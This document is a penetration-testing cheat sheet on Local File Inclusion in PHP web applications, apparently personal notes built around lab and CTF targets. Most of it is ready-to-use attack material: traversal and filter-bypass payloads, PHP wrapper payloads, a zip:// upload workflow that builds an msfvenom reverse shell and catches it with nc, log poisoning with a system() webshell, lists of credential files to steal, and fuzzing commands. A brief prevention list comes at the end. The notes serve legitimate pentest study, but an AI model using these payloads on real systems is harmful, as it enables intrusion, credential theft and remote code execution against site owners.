π What is LFI?
Local File Inclusion (LFI) is a web vulnerability that allows an attacker to trick a web application into including files from the local serverβs filesystem.
It typically occurs when user input is used in file path functions (e.g., PHPβs include, require, readfile) without proper validation or sanitization.
Remote URLs? If the parameter accepts
http://β Remote File Inclusion (RFI) (often faster RCE whenallow_url_include=On). Ifhttp:///https://are filtered βftp://+ pyftpdlib in RFI note.
π How It Works
Example vulnerable PHP code:
<?php
$page = $_GET['page'];
include("pages/" . $page . ".php");
?>If page is not validated, an attacker can manipulate the parameter to include unintended files:
http://example.com/index.php?page=../../../../etc/passwd
π― Potential Impact
- Read sensitive files (e.g.,
/etc/passwd,config.php). - Steal credentials (database passwords, API keys).
- Log file poisoning β Remote Code Execution (RCE).
- View source code of the application.
- Access session or authentication data.
π LFI Exploitation Techniques
1. Basic File Reading
GET /index.php?page=../../../../etc/passwd2. Bypassing Filters
Filters may block ../. Common bypasses:
....//....//....//etc/passwd
..%2F..%2F..%2F..%2Fetc/passwd
..%252F..%252F..%252Fetc/passwd
Null byte injection (PHP < 5.3):
/etc/passwd%00
3. Using PHP Wrappers
- Base64 Encode Output:
?page=php://filter/convert.base64-encode/resource=config.php
- Read Input Streams:
?page=php://input
- Expect Wrapper (for code execution if enabled):
?page=expect://id
- Example
https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php
4. zip:// wrapper β RCE via uploaded archive
When you can upload a ZIP (e.g. to /uploads/) and the app has LFI, the zip:// stream wrapper extracts and executes/reads a file inside the archive without manual unzip on disk.
Syntax:
zip://path/to/archive.zip#file_inside_archive.phpURL-encode # as %23 in browsers/burp:
GET /index.php?file=zip://uploads/upload_1786335222.zip%23shell.phpLab example:
http://192.168.132.229/index.php?file=zip://uploads/upload_1786335222.zip%23llehs(%23llehs β #llehs β PHP file llehs.php inside the uploaded zip)
Workflow:
# 1. Kali β create reverse shell + zip
msfvenom -p php/reverse_php LHOST=TUN0 LPORT=4444 -o shell.php
zip shell.zip shell.php
# or name inside zip: zip upload.zip llehs.php
# 2. Upload shell.zip via file upload form β lands in /uploads/upload_TIMESTAMP.zip
# 3. Trigger via LFI
curl "http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23shell.php"
# 4. Listener
rlwrap nc -lnvp 4444| Part | Meaning |
|---|---|
zip://uploads/file.zip | Path to uploaded archive on server |
#shell.php | Entry inside the zip to include/execute |
%23 | URL-encoded # |
Requirements: PHP zip extension enabled Β· LFI parameter Β· upload path known (guess or enumerate /uploads/).
β File Upload Bypass Β· Shell Β· Msfvenom Β· PayloadsAllTheThings β LFI zip wrapper
5. Log Poisoning β RCE
- Inject PHP payload into logs:
<?php system($_GET['cmd']); ?>
- Include log file:
?page=../../../../var/log/apache2/access.log&cmd=id
6. Chaining with File Upload
If file upload is possible:
- Upload a PHP webshell.
- Include it via LFI:
?page=../../uploads/shell.php
π Valuable paths β LFI file inclusion cheat sheet
Use with ?page=, ?file=, ?include= + traversal as needed. On Windows LFI, try / instead of \.
Fuzz lists: /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt Β· Gobuster Β· ffuf below
Linux β system files
| Path | Contents |
|---|---|
/etc/passwd | Users (no hashes on modern systems) |
/etc/shadow | Password hashes (needs root read on disk β still try) |
/etc/group | Groups |
/etc/issue | Pre-login banner β OS hint |
/etc/hostname | Hostname |
/etc/hosts | Static host mappings |
/proc/self/environ | Environment vars β may leak paths/creds |
/home/user/.ssh/id_rsa | User SSH private key |
?page=../../../../etc/passwd
?page=....//....//....//etc/passwdLinux β log files (log poisoning β RCE)
| Path | Server |
|---|---|
/var/log/apache/access.log | Apache (Debian/Ubuntu alt path) |
/var/log/apache2/access.log | Apache2 |
/var/log/httpd/access_log | Apache (RHEL/CentOS) |
/var/log/apache/error.log | Apache error |
/var/log/apache2/error.log | Apache2 error |
/var/log/httpd/error_log | httpd error |
/var/log/nginx/access.log | Nginx |
/var/log/messages | General syslog |
/var/log/cron.log | Cron activity |
/var/log/auth.log | Auth / SSH (Debian/Ubuntu) |
Poison User-Agent or request with <?php system($_GET['cmd']); ?> then include log β Β§5 Log Poisoning.
Linux β web app config (credentials)
| Path | Application |
|---|---|
/var/www/html/wp-config.php | WordPress |
/var/www/configuration.php | Joomla / Mambo |
/var/www/html/inc/header.inc.php | Dolphin |
/var/www/html/sites/default/settings.php | Drupal |
/var/www/config.php | Generic PHP |
/var/www/html/.git/config | Git repo metadata β Git & GitHub |
?page=php://filter/convert.base64-encode/resource=/var/www/html/wp-config.php
?page=../../../../var/www/html/wp-config.phpβ WPScan Β· CMSeeK - cmseek
Windows β system & unattended install (passwords)
| Path | Contents |
|---|---|
C:/Windows/System32/drivers/etc/hosts | Hosts file |
C:/Windows/Panther/Unattend/Unattended.xml | Unattended install β passwords |
C:/Windows/Panther/Unattended.xml | Same family |
C:/Windows/Panther/Unattend.txt | Unattend text |
C:/Unattend.xml | Root of C: |
C:/Autounattend.xml | Auto unattended |
C:/Windows/system32/sysprep/ | Sysprep leftovers |
C:/Windows/win.ini | Legacy config |
C:/boot.ini | Boot config (legacy) |
β Windows PrivEsc > π 6) Stored Credentials
Windows β IIS / web
| Path | Contents |
|---|---|
C:/inetpub/wwwroot/ | Default IIS web root |
C:/inetpub/wwwroot/web.config | IIS app config β connection strings |
C:/inetpub/logs/LogFiles/ | IIS access/error logs |
C:/xampp/apache/logs/access.log | XAMPP Apache log |
C:/xampp/htdocs/config.php | XAMPP PHP config |
?file=C:/inetpub/wwwroot/web.config
?file=C:/Windows/Panther/Unattend/Unattended.xmlUse C:/ forward slashes in LFI even on Windows.
β IIS Β· XAMPP - CVE-2020-11107 Privilege Escalation
Exposed .git (no LFI needed)
curl -s http://TARGET/.git/HEAD
git-dumper http://TARGET/.git ./repoβ Git & GitHub
π Fuzzing wordlists (SecLists)
| Path | Use |
|---|---|
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt | General LFI payloads β start here if you suspect file inclusion |
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt | Linux-focused LFI paths & bypasses |
# ffuf β parameter fuzz
ffuf -u "http://TARGET/page.php?file=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
# gobuster β if param name unknown, dir mode with traversal in wordlist still useful for path discovery
gobuster dir -u http://TARGET/ -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txtAlso: PayloadsAllTheThings β LFI Β· Default Credentials > π Authentication bypass (login inputs) (login bypass β different from LFI)
π‘ Prevention
- Use a whitelist for files to include.
- Never pass raw user input to file functions.
- Disable
allow_url_includeinphp.ini. - Apply proper input sanitization & encoding.
- Use frameworks that abstract file access securely.
π Reference Databases
π Quick Command Summary
Basic
?page=../../../../etc/passwdBypass Filters
?page=..%2F..%2F..%2F..%2Fetc/passwd
?page=....//....//....//etc/passwd
PHP Wrappers
?page=php://filter/convert.base64-encode/resource=config.php
?page=php://input
zip:// RCE (upload + LFI)
?file=zip://uploads/upload_TIMESTAMP.zip%23shell.php
http://TARGET/index.php?file=zip://uploads/upload_1786335222.zip%23llehs
Log Poisoning
?page=../../../../var/log/apache2/access.log&cmd=id